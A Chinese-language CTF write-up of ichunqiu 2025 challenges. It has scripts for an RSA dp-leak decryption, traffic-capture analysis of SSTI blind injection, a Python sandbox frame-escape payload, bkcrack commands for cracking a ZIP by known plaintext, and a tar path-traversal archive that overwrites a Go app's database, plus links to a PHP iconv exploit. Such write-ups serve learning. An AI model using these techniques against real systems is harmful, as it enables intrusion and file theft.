鏖战三天,也就100出头,还是太菜了,简单记录一下角逐中学到的知识
misc
ezmisc
1、提示:利⽤DP泄漏来求出私钥,从⽽还原私钥流解密密⽂ 2、图片经过了Arnold变换
给了一个流量包,可以从中导出一个加密的压缩包和一个密文,
还得利用dp泄漏,估计是流量包里导出的私钥文件损坏了,难怪直接用来解密会是乱码
文件里 应该n 是对的,p q不对,利用dp推出d
但是 后面发现 用openssl 去剖析出的d和利用dp泄漏推出的是一样的,。。。
openssl剖析证书文件命令
- openssl rsa -text -modulus -in warmup -in key.pem
复制代码 解密代码
- import gmpy2
- from Crypto.PublicKey import RSA
- from Crypto.Cipher import PKCS1_OAEP
- e = 0x10001
- n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
- dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7
- with open('passwd.enc','rb') as file:
- enc=file.read()
- for x in range(1,e): #遍历X
- if (dp*e-1)%x==0:
- p=(dp*e-1)//x +1
- if n%p==0:
- q=n//p #得到q
- phi=(p-1)*(q-1) #欧拉函数
- d=int(gmpy2.invert(e,phi))
- print(hex(d))#求逆元
- rsakey=RSA.construct((n,e,d))
- rsa=PKCS1_OAEP.new(rsakey)
- m=rsa.decrypt(enc)
- print(m)
- b'M1sc_1s_s0_e@sy!'
复制代码 解压得到一个图片,提示图片经过Arnold变换

这个变换必要两个参数a,b,爆了很多发现不行,赛后看了别人的wp发现还要爆变换次数,666
从大佬那copy的爆破脚本
- import matplotlib.pyplot as plt
- import cv2
- import numpy as np
- def arnold_decode(image, shuffle_times, a, b):
- """
- 使用 Arnold 逆变换对 RGB 图像进行解码
- 参数:
- image: 经过 Arnold 变换加密的 RGB 图像
- shuffle_times: 需要解码的次数
- a, b: Arnold 变换参数
- 返回:
- 解码后的图像
- """
- # 创建一个与原图像相同大小的空白图像
- decode_image = np.zeros(shape=image.shape)
- # 获取图像的高度和宽度
- h, w = image.shape[0], image.shape[1]
- N = h # 假设图像是正方形,N 取高度或宽度
- # 进行 shuffle_times 次逆变换
- for time in range(shuffle_times):
- for ori_x in range(h):
- for ori_y in range(w):
- # 使用 Arnold 逆变换公式计算新坐标
- new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
- new_y = ((-a) * ori_x + ori_y) % N
- # 将像素映射到新位置
- decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
- # 更新 image 进行下一次迭代
- image = np.copy(decode_image)
-
- return image
- def arnold_brute(image, shuffle_times_range, a_range, b_range):
- """
- 通过遍历不同参数进行 Arnold 变换暴力破解
-
- 参数:
- image: 加密后的图像
- shuffle_times_range: 试验解码次数的范围 (起始, 结束)
- a_range: 试验参数 a 的范围 (起始, 结束)
- b_range: 试验参数 b 的范围 (起始, 结束)
- """
- for c in range(shuffle_times_range[0], shuffle_times_range[1]):
- for a in range(a_range[0], a_range[1]):
- for b in range(b_range[0], b_range[1]):
- print(f"[+] 尝试 shuffle_times={c} a={a} b={b}")
- decoded_img = arnold_decode(image, c, a, b)
-
- # 保存解码后的图像,文件名包含尝试的参数值
- output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"
- cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
- if __name__ == "__main__":
- # 读取加密的图像文件
- img = cv2.imread("flag.png")
- # 进行暴力破解,尝试不同参数范围
- arnold_brute(img, (1, 8), (1, 20), (1, 30))
复制代码 末了爆出来是6次,a=16,b=26 ,爆了很久,末了这真没必要,不如再搞个啥隐写或加密 把 abc 给我们

nethttp
给的流量包,一开始访问web服务,给了python服务的源代码(存在ssti),执行了一些命令后,就满是bash盲注查看文件的流量了
猜测成功,回显rce,否则无回显
思路:
遍历包,如果包含file_data包含rce字符串(盲注正确的相应),就追踪它请求包的request_uri
如何追踪,通过询问gpt和观察wireshark 可知,一次的请求和响应包的tcp stream 号是相等的
一开始想的是如果找到了包含rce的,就再遍历一次,找tcp stream号雷同的包,但这样非常慢,由于流量包比较大,搜刮比较耗时间
后面发现FileCapture对象实现了__next__方法(可以看成可迭代对象访问,在很多pyshark的题目也是直接遍历的),
那就转为list,后发现list[0]和list[1]的tcp stream号相等,看来一次请求的请求和响应都被放在了相邻的位置,那么找到包含rce的,那么访问上一个的request_uri就可以了,这样时间就快了很多,几分钟就可以了
脚本实现
- import pyshark
- import asyncio
- import re
- import base64
- # 设置事件循环
- loop = asyncio.ProactorEventLoop()
- asyncio.set_event_loop(loop)
- # 定义 PCAP 文件路径
- pcap_file = 'a.pcapng'
- # 原理
- # 捕获数据包,仅筛选 HTTP 包
- cap = pyshark.FileCapture(pcap_file, eventloop=loop, display_filter='http')
- lis=list(cap)
- print(lis[0].tcp.stream==lis[1].tcp.stream)
- with open('cmd.txt','w') as file:
- for i in range(len(lis)-1):
- http=lis[i].http
- if hasattr(http,'file_data'):
- raw=str(http.file_data).replace(":","")
- data=bytes.fromhex(raw).decode('ascii')
- if "Welcome rce" in data:
- uri=str(lis[i-1].http.request_uri)
- cmd=base64.b64decode(re.findall(r'echo%20(.*?)%20%7C',uri)[0]).decode()
- print(cmd)
- file.write(cmd+'\n')
-
- print('命令解析成功')
- # 关闭捕获
- cap.close()
复制代码 cmd.txt就是解码后的命令,逐个提取字符就行
- import re
- import base64
- flag=''
- secret=''
- with open('cmd.txt','r') as file:
- datas=file.readlines()
- for data in datas:
- data=data.strip()
- if 'flag' in data:
- f=re.findall(r'== \'(.*?)\'',data)[0]
- flag+=f
- if 'secret' in data:
- s=re.findall(r'== \'(.*?)\'',data)[0]
- secret+=s
- print(flag)
- print(secret)
复制代码 就是解完后的secret还是加密的,流量中有一个加密的rsa私钥,找了很久没找到密钥,没想到一开始访问服务端源码的流量中的app.config['secert_key']就是密钥
用解密后的rsa密钥解密secret即可
python jail
这题倒是不错,观察python jail的栈帧逃逸,没学过这就恶补
大佬文章,原理详细
https://pid-blog.com/article/frame-escape-pyjail#%E5%88%A9%E7%94%A8%E7%94%9F%E6%88%90%E5%99%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%EF%BC%8C%E4%BD%86%E4%B8%BA%E4%BB%80%E4%B9%88%EF%BC%9F
栈帧逃逸适用情况: __builtins__被置为空,常规绕过手段被ban时可考虑
这一题的限定了长度,继承链payload会太长,以是考虑栈帧逃逸,利用生成器栈帧的f_back方法,回溯多次,回溯到题目代码调用exec的栈帧,再利用f_globals就可以拿到其时的globals环境(有__builtins__),就有机会rce了,但这题不用rce,只要拿到gloalbals里的box即可拿flag
官方payload,函数利用了yield,返回的就是生成器对象,回溯到最上层,然后用for循环取获取栈帧,
- import base64
- """
- def b():
- def a():
- yield g.gi_frame.f_back.f_back.f_back.f_back
- g=a()
- g=[x for x in g][0]
- return g.f_globals['BOX']
- s=b()
- """
- m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
- p = base64.b64encode(m.encode()).decode()
- print(p)
- print(len(m))
复制代码 音频的秘密
提示deepsound 弱口令,随手试了个123出了,然后是加密的flag.zip,里面是flag.png再没有其他信息了
经过搜刮才发现可以明文攻击,就利用png文件头的那几个字节居然就可以了,以前不停以为必须要两个文件
但是明文的攻击的条件还是传统的ZIP-Crypto算法才行 ,
命令
- bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -x 0 89504E470D0A1A0A0000000049484452
复制代码 得到key 29d29517 0fa535a9 abc67696 ,然后用这个key就可以把里面的数据恢复出来
- bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -k 29d29517 0fa535a9 abc67696 -d "D:\study\题目\ichunqiu2025\music_secret\flag.png"
复制代码 web
web整体难度不是很大,就是第三天的两个0解,有点一言难尽
bookshelf
我反序列化写了shell,但是其时没能绕过disable_function,角逐竣事才后知后觉发现可以直接用cnext(CVE-2024-2961),绕一下open_basedir就行
毛病发现者写的利用exp
https://github.com/ambionics/cnext-exploits
比较难用,还必要py3.10以上,建议本身改一下大概用大佬修改好的,我这里保举柯佬改的
https://github.com/kezibei/php-filter-iconv
按照readme利用即可
gotar
还是第一次做出go的题目
通过审计源代码可知,读取flag必要userid为1且是admin(jwt识别),那就必要找大概伪造jwt的点,jwt通过读取文件.env获取
上网搜到了源码中用来解压的tar组件有一个路径遍历的毛病,可以把压缩包里的文件解压到任意目录导致文件覆盖,还能列目录,因此是路径遍历毛病
https://github.com/cokeBeer/go-cves/blob/main/CVE-2020-26279/CVE-2020-26279.md
尝试构造…/…/…/…/.env,当地发现可以覆盖了,但还是无法成功改jwt,猜测是.env只读取一次,
后面审计代码,发现文件读取的路径都是从数据库里读出,
而且数据库采用sqlite,是从go.db文件读取的,想到覆盖db文件,当地运行项目,随便上传一个文件,生成db文件,查看表布局
![[i春秋-2.png]]
发现有个path和extarced_path参数,都改为/试试 ,然后尝试读取/flag,和列目录
生成tar包
- import tarfile
- import io
- def create_tar_with_custom_content(tar_name):
- # 创建一个 tar 文件
- with tarfile.open(tar_name, 'w') as tar:
- # 第一个文件的内容
- file_name1 = '../../../../go.db'
-
- with open('go.db','rb') as file:
- file_content1=file.read()
- file_like_object1=io.BytesIO(file_content1)
- # 创建 TarInfo 对象并设置文件元数据
- tarinfo1 = tarfile.TarInfo(name=file_name1)
- tarinfo1.size = len(file_content1) # 设置文件大小
- # 将第一个文件对象添加到 tar 存档
- tar.addfile(tarinfo1, file_like_object1)
- # 创建 tar 文件
- create_tar_with_custom_content('end.tar')
复制代码 可以列目录
flag也是直接读出来了
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |